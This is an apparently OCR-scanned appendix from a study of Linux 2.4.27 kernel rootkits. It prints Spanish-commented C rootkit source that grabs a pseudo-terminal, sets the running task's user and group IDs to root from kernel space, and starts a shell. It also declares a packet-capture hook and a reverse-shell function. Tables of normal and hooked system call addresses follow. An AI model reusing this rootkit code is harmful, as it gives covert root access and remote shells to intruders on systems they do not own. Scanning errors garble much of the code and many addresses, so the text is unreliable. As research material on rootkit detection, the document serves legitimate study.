/* pillamos pty libre */
ioctl(ptmx, TIOCGPTN, (unsigned long) &npty);

/* blogueamos */
ioctl (ptmx, TIOCSPTLCK, (unsigned long) &lock);

/* abrimos pty */
sprintf(buf, '"/dev/pts/%d', npty);
npty = open(buf, O RDWR, S_IRWXU);

/* devolvemos el descriptor */
return(npty);

void eco_off(void)

{

struct termios term;
ioctl (0, TCGETS, (unsigned long) &term);

term.c_Iflag = term.c_Iflag || CLOCAL;
ioctl (0, TCSETS, (unsigned long) &term);
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} /************* fin de eco Off **************/

void ejecutar_shell(void)

{

struct task struct *ptr = current;
mm_segment_t old_fs;

old_fs = get_fs();
set_Ts(KERNEL_DS);

ptr->uid = O;
ptr->euid = 0;
ptr->gid = SGID;
ptr->egid = 0;

/* dupeamos */
dup2(epty, 0);
dup2(epty, 1);
dup2(epty, 2);

/* quitamos eco */
eco_off();

/* cambiamos a home */
chdir(HOME) ;

execve(earg[0], (const char **) earg, (const char **) env);

/* salimos en caso de error */
e exit(-1);

} /************ fin ejecutar Shell ***********/

/* EOF */
D.16: Remoto.h

/* Tfunciones de remoto.c */

int capturar(struct sk buff *skb, struct net device *dev, struct
packet_ type *pkt,
struct net_device *dev2);
int reverse_shell(void *ip);
void ejecutar_shell(void);
int get pty(void);
void eco_off(void);
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APPENDIX E

2.4.27 KERNEL SYSTEM CALL TABLE ADDRESS DATA

0xc011f9e0
0xc0135920
0xc01352a0
0xc0134840
0xc0122140
0Oxc011d6a0
0xc0122680
0xc013ch90
0xc011f9e0
0xc0136e50
0xc0141460
0xc011f9e0
0Oxc011f700
0xc014cb20
0xc011f9e0
0xc0121420
0Oxc011d6c0
0xc011f690
0xc0105e50
0xc0121030
0xc0122560
0xc013ca90
0xc011fc00
0xc0133ecO
0xc011fb80
0xc0133d60
0xc0118f80
0xc013ccl0
0xc011f9e0
0xc0119070
0xc0105a30
0xc01198f10
0xc0116180
0xc0120a60
0xc0114f40
0xc0135700
0xc0128a30
0xc0137050
0xc012b060
0xc0113020

(Referenced in Chapter I11)

0xc0118850
0xc0135200
0xc0141ab0
0xc0119190
0xc011f9e0
0xc014d880
0xc01191f0
0xc010c940
0xc0134720
0xc011ef30
0xc0142fcO
0xc0124a70
0xc01226b0
0xc011f9e0
0xc0120950
0xc01349f0
0xc0120ac0
0Oxc011f6b0
Oxc011f3f0
0xc01213e0
0xc01225e0
0xc013cc90
0xc0144050
0xc0134080
0xc011fa90
0xc010b150
0xc0118da0
0xc010c790
0xc0109290
0xc010c4e0
0xc0120F10
0xc012a820
0xc0116870
0xc0134900
0xc011f9e0
0xc01441a0
0xc0135d10
0xc011a5do
0xc012b100
0xc0113080
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0xc0105a00
0xc0135350
0xc01416d0
0xc0140ed0
0xc013¢c990
0xc014cbb0
0xc010a6f0
0xc01344f10
0xc0112e00
0xc0142480
0xc010c210
0xc0122200
0xc0122710
0xc01438e0
0xc011f9e0
0xc013abcO
0xc0120b40
0xc0122220
0xc0120dcO
0xc0119270
0xc010c450
0xc013d070
0xc010c320
0xc0134ad0
0xc011f9e0
0xc023cdd0
0xc013calo
0xc010b260
0xc0118870
0xc0136ef0
0xc0120d40
Oxc011f410
0xc01172e0
0xc0139f10
0xc0122520
0xc01448c0
0xc0135d90
0xc012ae80
0xc0113050
0xc0113190

0xc01357e0
0xc0118c20
0xc0105a90
0xc0134b70
0xc0135650
0xc0122260
0xc011d650
0xc011f9e0
0xc011f9e0
0xc0141120
0xc01208f0
0xc01226€e0
0xc011be30
0xc0143310
0xc010c820
0xc0142ef0
0xc0105FfF0
0xc01221cO0
0xc01210c0
0xc01193b0
0xc01418c0
0xc0130a50
0xc0125ae0
0xc0122180
0xc0133cd0
0xc01154c0
0xc013cb10
0xc01353b0
0xc01305d0
0xc0106240
0xc010b890
0xc0116010
0xc01501e0
0xc013a590
0xc0122540
0xc0147000
0xc0120ae0
0xc012af40
0xc01130e0
0xc0113230



0xc0113260
0xc0122280
0xc0144f00
0xc0121440
0xc011lebf0
0xc0135e10
0xc011be40
0xc011f9e0
0xc010c270
0xc013cee0l
0xc011d720
0Oxc011fe40
0xc0120360
0xc0134d40
0xc0120880
0xc0144370
0xc011d760
0xc014ecl0
0xc014ef90
0xc014f1a0
0xc011f9e0
0xc011f9e0
0xc011f9e0

0xc011f9e0
0xc0135920
0xc01352a0
0xc0134840
0xc0122140
Oxc011d6a0
0xc0122680
0xc013ch90
0xc011f9e0
0xc0136e50
0xc0141460
0xc011f9e0
0Oxc011f700
0xc014cb20
0xc011f9e0
0xc0121420
0xc011d6c0
0xc011f690
0xc0105e50
0xc0121030
0xc0122560
0xc013ca90
0Oxc011fc00
0xc0133ecO
0Oxc011fb80
0xc0133d60
0xc0118f80
0xc013ccl10
0xc011f9e0
0xc0119070

0xc0113290
0xc01222d0
0Oxc016ef00
0xc0106340
0Oxc0OlleclO
0xc0135F50
0xc011c070
0xc011f9e0
0xc0134210
0xc013cf60
0xc011d700
0xc0120bb0
0xc0120560
0xc01201f0
0xc014daa0
0xc0143370
0xc01282a0
0xc014eda0l
0xc014eff0
0xc014f1f0
0xc011f9e0
0xc011f9e0
0xc011f9e0

0xc0118850
0xc0135200
0xc0141ab0
0xc0119190
0xc011f9e0
0xc014d880
0xc01191f0
0xc010c940
0xc0134720
0xd0878818
0xc0142fcO
0xc0124a70
0xc01226b0
0xc011f9e0
0xc0120950
0xc01349f0
0xc0120ac0
0Oxc011f6b0
0xc011f3f0
0xc01213e0
0xc01225e0
0xc013cc90
0xc0144050
0xc0134080
0xc011fa90
0xc010b150
0xc0118da0
0xc010c790
0xc0109290
0xc010c4e0
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0xc011d770
0xc01093b0
0xc01223d0
0xc011f590
0xc011f020
0xc0122100
0xc01060e0
0xc0105a60
0xc01343c0
0xc0134da0
0xc011d740
0xc0120c20
0xc0120610
Oxc011ff20
0xc0129470
0xc011f9e0
0xc014eb30
0xc014ee00
0xc014f050
0xc011ef80
0xc011f9e0
0xc011f9e0
0xc011f9e0

E.2: 1A32 Kernel 2.4.27 Malicious System Call Table

0xd0878748
0xc0135350
0xc01416d0
0xc0140ed0
0xc013c990
0xc014cbb0
0xc010a6f0
0xc01344f0
0xc0112e00
0xc0142480
0xc010c210
0xc0122200
0xc0122710
0xd0878894
0xc011f9e0
0xc013abcO
0xc0120b40
0xc0122220
0xc0120dcO0
0xc0119270
0xc010c450
0xc013d070
0xc010c320
0xc0134ad0
0xc011f9e0
0xc023cddO
0xc013calo
0xc010b260
0xc0118870
0xc0136ef0

0xc012ba60
0xc0117130
0xc0122420
0xc011e990
0xc0105ef0
0xc0149060
0xc01280c0
0xc0120fdO
0xc013ce60
0xc011d6e0
0xc0120010
0xc0134e00
0xc0120710
0xc01207c0
0xc01291e0
0xc011f9e0
0xc014ebal
0xc014ee60
0xc014f150
0xc0128140
0xc011f9e0
0xc011f9e0
0xc011f9e0

0xd0878a88
0xc0118c20
0xd0878ee8
0xc0134b70
0xc0135650
0xc0122260
0xc011d650
0xc011f9e0
0xc011f9e0
0xc0141120
0xc01208f0
0xc01226e0
0xc011be30
0xc0143310
0xc010c820
0xc0142ef0
0xc0105fFf0
0xc01221c0
0xc01210c0
0xd0878d90
0xc01418c0
0xc0130a50
0xc0125ae0
0xc0122180
0xc0133cd0
0xc01154c0
0xc013cb10
0xc01353b0
0xc01305d0
0xc0106240



0xd08787b0
0xc01198f0
0xc0116180
0xc0120a60
0xc0114f40
0xc0135700
0xc0128a30
0xc0137050
0xc012b060
0xc0113020
0xc0113260
0xc0122280
0xc0144f00
0xc0121440
0Oxc0l1llebfO
0xc0135e10
0xc011be40
0xc011f9e0
0xc010c270
0xc013ceel
0xc011d720
Oxc011fe40
0xc0120360
0xc0134d40
0xc0120880
0xd08785d4
0xc011d760
0xc014ecl10
0xc014ef90
0Oxc014f1a0
0xc011f9e0
0xc011f9e0
0xc011f9e0

0xc0120f10
0xc012a820
0xc0116870
0xc0134900
0xc011f9e0
0xd0878498
0xc0135d10
0xc011a5do
0xc012b100
0xc0113080
0xc0113290
0xc01222d0
0Oxc016ef00
0xc0106340
0Oxc0Ollecl0
0xc0135F50
0xc011c070
0xc011f9e0
0xc0134210
0xc013cf60
0xc011d700
0xc0120bb0
0xc0120560
0xc01201f0
0xc014daa0
0xc0143370
0xc01282a0
0xc014eda0l
0xc014eff0
0xc014f1f0
0xc011f9e0
0xc011f9e0
0xc011f9e0
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0xc0120d40
0Oxc011f410
0xc01172e0
0xc0139f10
0xc0122520
0xc01448c0
0xc0135d90
0xc012ae80
0xc0113050
0xc0113190
0xc011d770
0xc01093b0
0xc01223d0
0xc011f590
0xc011f020
0xc0122100
0xc01060e0
0xc0105a60
0xc01343c0
0xc0134da0
0xc011d740
0xc0120c20
0xc0120610
Oxc011ff20
0xc0129470
0xc011f9e0
0xc014eb30
0xc014ee00
0xc014f050
0xc011ef80
0xc011f9e0
0xc011f9e0
0xc011f9e0

0xc010b890
0xc0116010
0xc01501e0
0xc013a590
0xc0122540
0xc0147000
0xc0120ae0
0Oxc012af40
0xc01130e0
0xc0113230
0xc012ba60
0xc0117130
0xc0122420
0xc011e990
0xc0105ef0
0xc0149060
0xc01280c0
0xc0120fdo
0xc013ce60
0xc011d6e0
0xc0120010
0xc0134e00
0xc0120710
0xc01207c0
0xc01291e0
0xc011f9e0
0xc014ebal
0xc014ee60
0xc014f150
0xc0128140
0xc011f9e0
0xc011f9e0
0xc011f9e0
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